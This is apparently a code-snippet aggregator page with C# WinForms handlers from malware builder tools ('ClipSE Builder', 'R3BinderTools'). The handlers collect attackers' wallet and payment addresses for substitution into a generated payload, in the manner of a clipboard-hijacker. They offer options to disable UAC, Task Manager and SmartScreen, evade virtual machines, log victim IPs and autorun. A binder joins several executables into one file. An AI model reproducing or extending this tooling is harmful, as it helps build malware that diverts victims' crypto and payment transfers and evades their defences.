示例#1
0
 private void BitWallet_Click(object sender, EventArgs e)
 {
     try
     {
         Clipboard.SetText("1G9xgkjBiPLUbfVWERY1Ub7Bj753jP9Lkt");
         if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
         {
             ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.BitCopy);
         }
         else
         {
             ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.BitCopy);
         }
     }
     catch (Exception)
     {
         if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
         {
             ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorBitCopy);
         }
         else
         {
             ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorBitCopy);
         }
     }
 }
示例#2
0
        private void AddFileItem_Click(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);
            this.CountFiles.Focus();

            using var ofd = new OpenFileDialog
                  {
                      Title              = "Выберите файл, который хотите соединить",
                      Filter             = "Все файлы (*.*)|*.*|exe файлы|*.exe;|dll файлы|*.dll;",
                      AutoUpgradeEnabled = true,
                      CheckFileExists    = true,
                      Multiselect        = true,
                      RestoreDirectory   = true
                  };
            if (ofd.ShowDialog() == DialogResult.OK)
            {
                foreach (string multi in ofd.FileNames)
                {
                    if (!this.ListFiles.Items.Contains(multi))
                    {
                        this.ListFiles.Items.Add(multi);
                        this.CountFiles.Text = $"Список файлов для соединения: {this.ListFiles.Items.Count}";
                    }
                    else
                    {
                        StatusCompile.Location = new Point(482, 391);
                        ControlActive.CheckMessage(StatusCompile, "Такой файл уже есть в списке", Color.YellowGreen, 5000);
                    }
                }
            }
        }
示例#3
0
 private void FastExit_Click(object sender, EventArgs e)
 {
     ManifestLoader.Delete();
     this.MainPanel.Hide();
     ControlActive.ShowAnima(this.Handle, 500, Enums.AnimateWindowFlags.AW_BLEND | Enums.AnimateWindowFlags.AW_HIDE);
     Application.Exit();
 }
示例#4
0
        /// <summary>
        /// Замена исходного текста на текст из полей TextBox
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void AddDataToBuilder_Click(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);
            SourceEdition.values["[DONATEPAY]"] = this.DonatePayBox.Text;
            SourceEdition.values["[BITDAIMON]"] = this.DaimonBox.Text;
            SourceEdition.values["[DECRED]"]    = this.DecredBox.Text;
            SourceEdition.values["[TEZOS]"]     = this.TezosBox.Text;
            SourceEdition.values["[SBER]"]      = this.SberBox.Text;
            SourceEdition.values["[VIA]"]       = this.ViaBox.Text;
            SourceEdition.values["[COSMOS]"]    = this.CosmosBox.Text;
            SourceEdition.values["[SMARTCASH]"] = this.SmartCashBox.Text;
            SourceEdition.values["[STEAM]"]     = this.SteamOffBox.Text;
            SourceEdition.values["[WEBWMR]"]    = this.WebRBox.Text;
            SourceEdition.values["[WEBWMZ]"]    = this.WebZBox.Text;
            SourceEdition.values["[WEBWMU]"]    = this.WebUBox.Text;

            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
            {
                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataAdd);
            }
            else
            {
                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataAdd);
            }
        }
示例#5
0
 /// <summary>
 /// Метод для загрузки обновления
 /// </summary>
 /// <param name="link">Ссылка на билдер</param>
 private void LoadingBuilder(string link)
 {
     Task.Run(() => AntiSniffer.Inizialize()).Start();
     try
     {
         var url = new Uri(link, UriKind.Absolute);
         using var update = new WebClient
               {
                   Proxy = null
               };
         update?.DownloadFile(url, GlobalPath.NewFile);
         if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
         {
             ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.UpdateSuccess);
         }
         else
         {
             ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.UpdateSuccess);
         }
     }
     catch (WebException)
     {
         if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
         {
             ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.ErrorConnect);
         }
         else
         {
             ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.ErrorConnect);
         }
         this.Launch.Visible = false;
     }
     this.Launch.Visible = FileControl.ExistsFile(GlobalPath.NewFile);
 }
示例#6
0
        /// <summary>
        ///  Метод для сохранения данных в файла из TextBox'ов
        /// </summary>
        /// <param name="path"></param>
        public void SaveDataInFile(string path)
        {
            try
            {
                if (!CheckIsEmptyBoxs())
                {
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.EmptySave);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.EmptySave);
                    }
                }
                else
                {
                    using (var sw = new StreamWriter(path))
                    {
                        sw.WriteLine(EncryptKey.Encrypt(this.DonatePayBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.DaimonBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.DecredBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.TezosBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.SberBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.ViaBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.CosmosBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.SmartCashBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.SteamOffBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.SteamOffBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.WebRBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.WebZBox.Text, GlobalPath.SecretKey_Public));
                        sw.WriteLine(EncryptKey.Encrypt(this.WebUBox.Text, GlobalPath.SecretKey_Public));
                        sw.Flush();

                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataSave);
                        }
                        else
                        {
                            ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataSave);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorSave);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorSave);
                }
                FileControl.CreateFile(FileControl.CombinePath(GlobalPath.CurrDir, "ErrorNewSave.txt"), ex.Message);
            }
        }
示例#7
0
 private void ClipPurseFrm_Load(object sender, EventArgs e)
 {
     this.VersionSoft.Text = $"{Language.GlobalMessageStrings_ru_RU.VerSoftware}  {GlobalPath.VersionBuild}";
     this.SalutView.Text   = $"{Language.GlobalMessageStrings_ru_RU.Welcome}  {Environment.UserName}";
     ControlActive.ControlVisible(this.MainPanel, new InfoSE());
     MiniCcleaner();
     ManifestLoader.Inizialize();
     ControlActive.ShowAnima(this.Handle, 500, Enums.AnimateWindowFlags.AW_BLEND | Enums.AnimateWindowFlags.AW_ACTIVATE);
 }
示例#8
0
 private void AppExit_Click(object sender, EventArgs e)
 {
     // Убираем фокус с кнопки
     NativeMethods.SetFocus(IntPtr.Zero);
     this.LogoText.Focus();
     // Показываем анимацию при завершение программы
     ControlActive.ShowAnima(this.Handle, 500, Enums.AnimateWindowFlags.AW_VER_POSITIVE | Enums.AnimateWindowFlags.AW_HIDE);
     Application.Exit(); // Закрываем программу
 }
示例#9
0
        /// <summary>
        /// Метод для загрузки данных из файла в TextBox'ы
        /// </summary>
        /// <param name="path"></param>
        private void LoadDataFromFile(string path)
        {
            if (FileControl.ExistsFile(path))
            {
                try
                {
                    string[] text = File.ReadAllLines(path);

                    this.DonatePayBox.Text = EncryptKey.Decrypt(text[0], GlobalPath.SecretKey_Public);
                    this.DaimonBox.Text    = EncryptKey.Decrypt(text[1], GlobalPath.SecretKey_Public);
                    this.DecredBox.Text    = EncryptKey.Decrypt(text[2], GlobalPath.SecretKey_Public);
                    this.TezosBox.Text     = EncryptKey.Decrypt(text[3], GlobalPath.SecretKey_Public);
                    this.SberBox.Text      = EncryptKey.Decrypt(text[4], GlobalPath.SecretKey_Public);
                    this.ViaBox.Text       = EncryptKey.Decrypt(text[5], GlobalPath.SecretKey_Public);
                    this.CosmosBox.Text    = EncryptKey.Decrypt(text[6], GlobalPath.SecretKey_Public);
                    this.SmartCashBox.Text = EncryptKey.Decrypt(text[7], GlobalPath.SecretKey_Public);
                    this.SteamOffBox.Text  = EncryptKey.Decrypt(text[8], GlobalPath.SecretKey_Public);
                    this.WebRBox.Text      = EncryptKey.Decrypt(text[9], GlobalPath.SecretKey_Public);
                    this.WebZBox.Text      = EncryptKey.Decrypt(text[10], GlobalPath.SecretKey_Public);
                    this.WebUBox.Text      = EncryptKey.Decrypt(text[11], GlobalPath.SecretKey_Public);

                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataLoader);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataLoader);
                    }
                }
                catch (Exception ex)
                {
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLoader);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLoader);
                    }
                    FileControl.CreateFile(FileControl.CombinePath(GlobalPath.CurrDir, "ErrorNewLoad.txt"), ex.Message);
                }
            }
            else
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FileExists);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FileExists);
                }
            }
        }
示例#10
0
        /// <summary>
        /// Метод для проверки обновления
        /// </summary>
        /// <param name="link">Ссылка на текстовый документ</param>
        private void Checker(string link)
        {
            try
            {
                Task.Run(() => AntiSniffer.Inizialize()).Start();
                using var client = new WebClient
                      {
                          Proxy = null
                      };
                var    url  = new Uri(link, UriKind.Absolute);
                string text = client?.DownloadString(url);

                if (text.Contains(GlobalPath.VersionBuild)) // Сверка версии
                {
                    this.VerNew.Visible          = false;
                    this.DownloadUpdates.Visible = false;
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FinalVersionMessage);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FinalVersionMessage);
                    }
                }
                else
                {
                    this.VerNew.Visible = true;
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.AccessNew);
                        this.VerNew.Text = $"{Language.GlobalMessageStrings_en_US.NewVer} {text}";
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.AccessNew);
                        this.VerNew.Text = $"{Language.GlobalMessageStrings_ru_RU.NewVer} {text}";
                    }
                    this.DownloadUpdates.Visible = true;
                }
            }
            catch (WebException)
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.ErrorConnect);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.ErrorConnect);
                }
                this.DownloadUpdates.Visible = false;
            }
        }
示例#11
0
 /// <summary>
 /// Кнопка для отчищения всех полей TextBox
 /// </summary>
 /// <param name="sender"></param>
 /// <param name="e"></param>
 private void FieldsClean_Click(object sender, EventArgs e)
 {
     ControlActive.CleanAllTextBoxesIn(this);
     if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
     {
         ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FieldsClean);
     }
     else
     {
         ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FieldsClean);
     }
 }
示例#12
0
        /// <summary>
        /// Метод для запуска процесса с передачей параметров
        /// </summary>
        /// <param name="filename">Имя файла для запуска</param>
        /// <param name="args">Аргументы для передачи запуска</param>
        /// <param name="StatusCompile">Вывод сообщения</param>
        /// <returns></returns>
        public static bool RunFile(string filename, string args, Label StatusCompile)
        {
            if (!string.IsNullOrWhiteSpace(filename))
            {
                try
                {
                    string line      = string.Empty;
                    var    PwsHide   = ProcessWindowStyle.Hidden;
                    var    startInfo = new ProcessStartInfo
                    {
                        FileName               = filename,
                        CreateNoWindow         = false,
                        RedirectStandardOutput = true,
                        RedirectStandardError  = true,
                        UseShellExecute        = false,
                        WindowStyle            = PwsHide,
                        Arguments              = args
                    };
                    using var info = Process.Start(startInfo);
                    info.Refresh();
                    info.WaitForExit();

                    // Читаем весь поток вывода данных
                    while (!info.StandardOutput.EndOfStream)
                    {
                        line = info.StandardOutput.ReadLine();
                    }
                    // Проверяем на совпадение строки
                    if (line.Contains("Total size:"))
                    {
                        MusicPlay.Inizialize(Resources.GoodBuild);
                        StatusCompile.Location = new Point(74, 388);
                        ControlActive.CheckMessage(StatusCompile, "Билд создан успешно!", Color.YellowGreen, 5000);
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        StatusCompile.Location = new Point(58, 388);
                        ControlActive.CheckMessage(StatusCompile, "Ошибка создания билд файла!", Color.YellowGreen, 5000);
                        try
                        {
                            line = info.StandardError.ReadLine();
                            File.WriteAllText("nsiError.txt", $"Ошибка скрипта: {line}\r\n");
                        }
                        catch { }
                    }
                    return(true);
                }
                catch (Exception) { return(false); }
            }
            return(true);
        }
示例#13
0
        private void CreateBuild_Click(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);
            this.CountFiles.Focus();

            if (this.ListFiles.Items.Count <= 0)
            {
                this.StatusCompile.Location = new Point(497, 392);
                ControlActive.CheckMessage(this.StatusCompile, "Добавьте файлы в список", Color.YellowGreen, 5000);
            }
            else
            {
                if (CheckIsEmptyBoxs())
                {
                    this.StatusCompile.Location = new Point(500, 392);
                    ControlActive.CheckMessage(this.StatusCompile, "Заполните все данные", Color.YellowGreen, 5000);
                }
                else
                {
                    // Хранилище наших файлов
                    List <string> Payload = new List <string>();

                    foreach (string payload in this.ListFiles.Items)
                    {
                        Payload?.Add(payload);
                    }
                    var contents = new BuildDom()
                    {
                        AssTitle       = AssTitleTextBox.Text,
                        AssCompany     = AssCompanyTextBox.Text,
                        AssCopyright   = AssCopyrightTextBox.Text,
                        AssDescription = AssDescriptTextBox.Text,
                        AssFileVersion = AssFileVerTextBox.Text,
                        AssProduct     = AssProductTextBox.Text,
                        AssVersion     = AssVerTextBox.Text,
                        GuidBox        = AssGuidTextBox.Text,
                        IconCheckBox   = AddIcoBox,
                        BoxIconPath    = IconTextBox.Text,
                        SuicideBox     = SuicideBuildBox,
                        AdminBuildBox  = AdmRunBuildBox,
                        RunTime        = RunTimeBox,
                        HideResources  = HideFilesBox,
                        AdminFilesBox  = AdmRunFilesBox,
                        LMessage       = StatusCompile
                    };
                    // Запускаем задачу создания билда с передачей параметров для замены текста с ожиданием
                    Task.Run(() => SourceEditor.Inizialize(contents, Payload)).ConfigureAwait(false).GetAwaiter();
                }
            }
        }
示例#14
0
 private void Launch_Click(object sender, EventArgs e)
 {
     if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
     {
         ControlActive.CheckMessage(this.ShowMessageGetSE, Language.GlobalMessageStrings_en_US.RestartBuild);
     }
     else
     {
         ControlActive.CheckMessage(this.ShowMessageGetSE, Language.GlobalMessageStrings_en_US.RestartBuild);
     }
     if (Check_US("Ваша ссылка на обнову.. ( я вырезал свою дабы не палить )"))
     {
         AppRestart();
     }
 }
示例#15
0
 private void AddIcoBox_CheckedChanged(object sender, EventArgs e)
 {
     if (AddIcoBox.Checked == true)
     {
         using var ofd = new OpenFileDialog
               {
                   Title              = "Выберите иконку для билд файла",
                   Filter             = "Icon|*.ico",
                   AutoUpgradeEnabled = true,
                   CheckFileExists    = true,
                   RestoreDirectory   = true
               };
         if (ofd.ShowDialog() == DialogResult.OK)
         {
             if (File.Exists(ofd.FileName))
             {
                 this.IconTextBox.Text        = ofd.FileName;
                 this.IcoViewer.ImageLocation = this.IconTextBox.Text;
                 this.IcoViewer.BorderStyle   = BorderStyle.None;
                 this.LsizeIco.Visible        = true;
                 this.LsizeIco.Text           = $"Размер иконки: {GetFileSize.Inizialize(new FileInfo(this.IconTextBox.Text).Length)}";
             }
             else
             {
                 this.IcoViewer.BorderStyle = BorderStyle.FixedSingle;
                 this.IconTextBox.Clear();
                 AddIcoBox.Checked           = false;
                 this.LsizeIco.Visible       = false;
                 this.StatusCompile.Location = new Point(497, 392);
                 ControlActive.CheckMessage(this.StatusCompile, "Иконка повреждена, выберите другую", Color.YellowGreen, 5000);
             }
         }
         else
         {
             this.IcoViewer.BorderStyle = BorderStyle.FixedSingle;
             this.IconTextBox.Clear();
             AddIcoBox.Checked     = false;
             this.LsizeIco.Visible = false;
         }
     }
     else
     {
         this.IcoViewer.BorderStyle = BorderStyle.FixedSingle;
         this.IconTextBox.Clear();
         this.IcoViewer.Image  = null;
         this.LsizeIco.Visible = false;
     }
 }
示例#16
0
        private void RemoveFileItem_Click(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);
            this.CountFiles.Focus();

            if (this.ListFiles.SelectedIndex != -1)
            {
                this.ListFiles.Items.RemoveAt(this.ListFiles.SelectedIndex);
                this.CountFiles.Text = $"Список файлов для соединения: {this.ListFiles.Items.Count}";
            }
            else
            {
                StatusCompile.Location = new Point(456, 391);
                ControlActive.CheckMessage(StatusCompile, "Выберите элемент из списка для удаления.", Color.YellowGreen, 5000);
            }
        }
示例#17
0
        /// <summary>
        /// Выбор иконки для билд файла
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void SelectIcon_Click(object sender, EventArgs e)
        {
            string result = string.Empty;

            using (var Open = new OpenFileDialog())
            {
                Open.Title = Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)
                    ? Language.GlobalMessageStrings_en_US.IconChoice
                    : Language.GlobalMessageStrings_ru_RU.IconChoice;
                Open.Filter             = "Icon (*.ico)|*.ico";
                Open.Multiselect        = false;
                Open.AutoUpgradeEnabled = true;
                Open.CheckFileExists    = true;
                Open.RestoreDirectory   = true;

                if (Open.ShowDialog() == DialogResult.OK)
                {
                    this.IcoPath.Text = Open.FileName;
                    if (File.Exists(this.IcoPath.Text))
                    {
                        this.IcoViewer.ImageLocation = this.IcoPath.Text;
                        try
                        {
                            this.SizeIcon.Text = Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)
                                ? $"{Language.GlobalMessageStrings_en_US.SizeIcon}  {GetFileSize.Inizialize(new FileInfo(this.IcoPath.Text).Length)}"
                                : $"{Language.GlobalMessageStrings_en_US.SizeIcon}  {GetFileSize.Inizialize(new FileInfo(this.IcoPath.Text).Length)}";
                        }
                        catch { this.SizeIcon.Text = result; }
                    }
                }
                else
                {
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.NoIconChoice);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.NoIconChoice);
                    }
                    this.IcoPath.Clear();
                    this.SizeIcon.Text   = result;
                    this.IcoViewer.Image = null;
                }
            };
        }
示例#18
0
 private void ListFiles_DragDrop(object sender, DragEventArgs e)
 {
     string[] files = (string[])e.Data.GetData(DataFormats.FileDrop);
     foreach (string file in files)
     {
         if (!this.ListFiles.Items.Contains(file))
         {
             this.ListFiles.Items.Add(file);
             this.CountFiles.Text = $"Список файлов для соединения: {this.ListFiles.Items.Count}";
         }
         else
         {
             StatusCompile.Location = new Point(482, 391);
             ControlActive.CheckMessage(StatusCompile, "Такой файл уже есть в списке", Color.YellowGreen, 5000);
         }
     }
 }
示例#19
0
 /// <summary>
 /// Метод для перезапуска обновления билдера
 /// </summary>
 private void AppRestart()
 {
     if (FileControl.ExistsFile(GlobalPath.NewFile))
     {
         ProcessControl.RunFile("cmd.exe", "Taskkill /f /im \"ClipSE *\" && Timeout /t 1 && del \"ClipSE *.exe\" && ren UpdateSE.txt \"ClipSE Builder by r3xq1.exe\" && \"ClipSE Builder by r3xq1.exe\"");
     }
     else
     {
         if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
         {
             ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.FileExists);
         }
         else
         {
             ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.FileExists);
         }
     }
 }
示例#20
0
 private void ShowBinExe_Click(object sender, EventArgs e)
 {
     this.LogoText.Text = "MultiBinder files [Release]";
     // Показать новую форму
     ControlActive.ControlVisible(this.MainPanel, new Compilation.CodeDOM.MultiBinderFrm());
     // Проверяем и удаляем файл манифеста
     if (File.Exists(GlobalPath.ManifestFile))
     {
         try
         {
             File.Delete(GlobalPath.ManifestFile);
         }
         catch { }
     }
     // Убираем фокус с кнопки
     NativeMethods.SetFocus(IntPtr.Zero);
     this.LogoText.Focus();
 }
示例#21
0
 public static void CheckResults(CompilerResults Results, Label Status)
 {
     if (Results.Errors.Count <= 0)
     {
         ControlActive.CheckMessage(Status, "Билд создан успешно!");
     }
     else
     {
         if (Results.Errors.HasErrors)
         {
             ControlActive.CheckMessage(Status, "Ошибка при компиляции!");
             foreach (CompilerError Error in Results.Errors)
             {
                 SaveNewFile("Error_Compiler.txt", $"Ошибка: {Error.ToString()}\r\nСтрока: {Error.Line}");
             }
         }
     }
 }
示例#22
0
        /// <summary>
        /// Замена исходного текста на текст из полей TextBox
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void AddDataToBuilder_Click(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);
            SourceEdition.values["[BTC]"]         = this.BitcointBox.Text;
            SourceEdition.values["[BTDARK]"]      = this.DarkBitcoinBox.Text;
            SourceEdition.values["[BCH]"]         = this.BitCashBox.Text;
            SourceEdition.values["[BTGOLD]"]      = this.BitGoldBox.Text;
            SourceEdition.values["[BNB]"]         = this.BinanceBox.Text;
            SourceEdition.values["[BCN]"]         = this.BytecoinBox.Text;
            SourceEdition.values["[BJack]"]       = this.BlackjackBox.Text;
            SourceEdition.values["[BN]"]          = this.BlockNetBox.Text;
            SourceEdition.values["[DASH]"]        = this.DashBox.Text;
            SourceEdition.values["[DOGE]"]        = this.DogeBox.Text;
            SourceEdition.values["[DONATE]"]      = this.DonAlertBox.Text;
            SourceEdition.values["[PAYEER]"]      = this.PayeerBox.Text;
            SourceEdition.values["[XMR]"]         = this.XmrBox.Text;
            SourceEdition.values["[STELLAR]"]     = this.StellarBox.Text;
            SourceEdition.values["[QTUM]"]        = this.QtumBox.Text;
            SourceEdition.values["[QIWI]"]        = this.QiwiBox.Text;
            SourceEdition.values["[ETH]"]         = this.EtherBox.Text;
            SourceEdition.values["[EOS]"]         = this.EosBox.Text;
            SourceEdition.values["[LISK]"]        = this.LiskBox.Text;
            SourceEdition.values["[LTC]"]         = this.LiteBox.Text;
            SourceEdition.values["[WAVES]"]       = this.WavesBox.Text;
            SourceEdition.values["[RIPPLE]"]      = this.RippleBox.Text;
            SourceEdition.values["[ADA]"]         = this.AdaBox.Text;
            SourceEdition.values["[IOTA]"]        = this.IotaBox.Text;
            SourceEdition.values["[ZCASH]"]       = this.ZcashBox.Text;
            SourceEdition.values["[NEO]"]         = this.NeoBox.Text;
            SourceEdition.values["[TRON]"]        = this.TronBox.Text;
            SourceEdition.values["[YANDEXMONEY]"] = this.YandexBox.Text;

            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
            {
                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.DataAdd);
            }
            else
            {
                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.DataAdd);
            }
        }
示例#23
0
 private void ShowNsis_Click(object sender, EventArgs e)
 {
     // Убираем фокус с кнопки
     NativeMethods.SetFocus(IntPtr.Zero);
     this.LogoText.Focus();
     // Проверяем файл nsis
     if (File.Exists(Compilation.NSIS.GetInstall.ConsoleNsis()) || File.Exists(Path.Combine(GlobalPath.CurrDir, @"NSIS\makensis.exe")))
     {
         // Если файл есть, показываем форму
         ControlActive.ControlVisible(this.MainPanel, new Compilation.NSIS.NsisBinderFrm());
         this.LogoText.Text = "NSIS binder files [Release]";
     }
     else
     {
         LogoText.Text = "R3BinderTools [Release]";
         this.MainPanel.Controls.Clear(); // Отчищяем все формы
         // Выводим сообщение
         this.NsisStatus.Location = new Point(132, 7);
         ControlActive.CheckMessage(this.NsisStatus, "NSIS не обнаружен", Color.Coral, 5000);
         Process.Start("https://nsis.sourceforge.io/Download"); // предлагаем пользователю установить NSIS
     }
 }
示例#24
0
 private void SwitchLanguage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
 {
     if (FileControl.ExistsDirectory(FileControl.CombinePath(GlobalPath.CurrDir, "en-US")))
     {
         ControlActive.ControlVisible(this.MainPanel, new EmptySE());
         if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
         {
             Translate.Inizialize("ru");
             this.VersionSoft.Text = $"{Language.GlobalMessageStrings_ru_RU.VerSoftware}  {GlobalPath.VersionBuild}";
             this.SalutView.Text   = $"{Language.GlobalMessageStrings_ru_RU.Welcome}  {Environment.UserName}";
         }
         else
         {
             Translate.Inizialize("en");
             this.VersionSoft.Text = $"{Language.GlobalMessageStrings_en_US.VerSoftware}  {GlobalPath.VersionBuild}";
             this.SalutView.Text   = $"{Language.GlobalMessageStrings_en_US.Welcome}  {Environment.UserName}";
         }
     }
     else
     {
         MusicPlay.Inizialize(Resources.Error_Build);
     }
 }
示例#25
0
        /// <summary>
        /// Запуск процесс компиляции исходного файла с проверками по ключу.
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void Generation_ClickAsync(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);

            #region BuildSettings

            var build = new Build
                        (
                this.IcoPath.Text,
                this.NameOutput.Text,
                this.AssTitleTextBox.Text,
                this.AssDescriptTextBox.Text,
                this.AssCompanyTextBox.Text,
                this.AssProductTextBox.Text,
                this.AssCopyrightTextBox.Text,
                this.AssVerTextBox.Text,
                this.AssFileVerTextBox.Text,
                this.AssGuidTextBox.Text,
                this.IPBox.Text,
                this.ErrorBox.Text,
                this.ShowMessage,
                this.DelayCheckBox,
                this.GarbageCheckBox,
                this.AutoRunCheckBox,
                this.SmartOffCheckBox,
                this.TaskMgrOffCheckBox,
                this.UacOffCheckBox,
                this.AntiVMCheckBox,
                this.IPLOGCheckBox,
                this.FakeCheckBox,
                this.SpisokOut
                        );

            #endregion

            if (string.IsNullOrWhiteSpace(this.NameOutput.Text) || string.IsNullOrWhiteSpace(this.AssTitleTextBox.Text) || string.IsNullOrWhiteSpace(this.AssDescriptTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCompanyTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCopyrightTextBox.Text) || string.IsNullOrWhiteSpace(this.AssFileVerTextBox.Text))
            {
